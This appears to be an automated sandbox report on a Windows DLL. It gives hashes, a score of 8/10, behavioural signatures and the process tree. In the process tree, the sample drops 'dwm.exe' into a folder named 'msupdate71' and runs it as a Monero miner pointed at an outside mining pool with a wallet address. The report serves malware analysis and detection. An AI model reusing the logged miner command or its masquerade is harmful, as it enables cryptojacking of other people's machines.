Analysis

  • max time kernel
    150s
  • max time network
    59s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 07:59

General

  • Target

    41b660e5e3e0af00a8b8a78bc18e9c691781d0a0ebab9fe54bdc0918dc0bc6ea.dll

  • Size

    4.6MB

  • MD5

    f42201e1867d4b345373296577d40035

  • SHA1

    b691363aa20b1d7681c7557a6aa40f3596416555

  • SHA256

    41b660e5e3e0af00a8b8a78bc18e9c691781d0a0ebab9fe54bdc0918dc0bc6ea

  • SHA512

    4fac587eaa45e085b210b55164f928493af98911addc429772e5a45d5b205635ff846264a07e529a5d13d20f0b7ac2042139f44a036c3a2dae6f933f307461e6

  • SSDEEP

    98304:4STCsrzPn/z33xlGTvgLkbYWtYAMrbL3uxEqO0c5l:4SpzP/z378vokb8AMrbL+xEj0cT

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • VMProtect packed file 7 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Loads dropped DLL 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\41b660e5e3e0af00a8b8a78bc18e9c691781d0a0ebab9fe54bdc0918dc0bc6ea.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1364
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\41b660e5e3e0af00a8b8a78bc18e9c691781d0a0ebab9fe54bdc0918dc0bc6ea.dll,#1
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1260
      • C:\Users\Admin\AppData\Local\Temp\msupdate71\dwm.exe
        C:\Users\Admin\AppData\Local\Temp\msupdate71\dwm.exe -o stratum+tcp://xmr-usa.dwarfpool.com:8080 -dbg -1 -p x -u 48mqxx742xV9MJHqHy7XQVJYKT6j1SmJBJTeJSRD2zfve1NdSg9io4yWUCsc7JJH8bgDg9opBicsJZtLTAGzswRiGZGUJ6v.2
        3⤵
        • Executes dropped EXE
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of AdjustPrivilegeToken
        PID:1168

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\msupdate71\dwm.exe
    Filesize

    1.5MB

    MD5

    eedb9d86ae8abc65fa7ac7c6323d4e8f

    SHA1

    ce1fbf382e89146ea5a22ae551b68198c45f40e4

    SHA256

    d0326f0ddce4c00f93682e3a6f55a3125f6387e959e9ed6c5e5584e78e737078

    SHA512

    9de3390197a02965feed6acdc77a292c0ef160e466fbfc9500fa7de17b0225a935127da71029cb8006bc7a5f4b5457319362b7a7caf4c0bf92174d139ed52ab5

  • C:\Users\Admin\AppData\Local\Temp\msupdate71\dwm.exe
    Filesize

    1.5MB

    MD5

    eedb9d86ae8abc65fa7ac7c6323d4e8f

    SHA1

    ce1fbf382e89146ea5a22ae551b68198c45f40e4

    SHA256

    d0326f0ddce4c00f93682e3a6f55a3125f6387e959e9ed6c5e5584e78e737078

    SHA512

    9de3390197a02965feed6acdc77a292c0ef160e466fbfc9500fa7de17b0225a935127da71029cb8006bc7a5f4b5457319362b7a7caf4c0bf92174d139ed52ab5

  • \Users\Admin\AppData\Local\Temp\msupdate71\dwm.exe
    Filesize

    1.5MB

    MD5

    eedb9d86ae8abc65fa7ac7c6323d4e8f

    SHA1

    ce1fbf382e89146ea5a22ae551b68198c45f40e4

    SHA256

    d0326f0ddce4c00f93682e3a6f55a3125f6387e959e9ed6c5e5584e78e737078

    SHA512

    9de3390197a02965feed6acdc77a292c0ef160e466fbfc9500fa7de17b0225a935127da71029cb8006bc7a5f4b5457319362b7a7caf4c0bf92174d139ed52ab5

  • \Users\Admin\AppData\Local\Temp\msupdate71\dwm.exe
    Filesize

    1.5MB

    MD5

    eedb9d86ae8abc65fa7ac7c6323d4e8f

    SHA1

    ce1fbf382e89146ea5a22ae551b68198c45f40e4

    SHA256

    d0326f0ddce4c00f93682e3a6f55a3125f6387e959e9ed6c5e5584e78e737078

    SHA512

    9de3390197a02965feed6acdc77a292c0ef160e466fbfc9500fa7de17b0225a935127da71029cb8006bc7a5f4b5457319362b7a7caf4c0bf92174d139ed52ab5

  • memory/1168-57-0x0000000000000000-mapping.dmp
  • memory/1168-61-0x000000013FA40000-0x000000013FDED000-memory.dmp
    Filesize

    3.7MB

  • memory/1168-64-0x000000013FA40000-0x000000013FDED000-memory.dmp
    Filesize

    3.7MB

  • memory/1168-66-0x000000013FA40000-0x000000013FDED000-memory.dmp
    Filesize

    3.7MB

  • memory/1260-54-0x0000000000000000-mapping.dmp
  • memory/1260-55-0x0000000075091000-0x0000000075093000-memory.dmp
    Filesize

    8KB

  • memory/1260-65-0x00000000023C0000-0x000000000276D000-memory.dmp
    Filesize

    3.7MB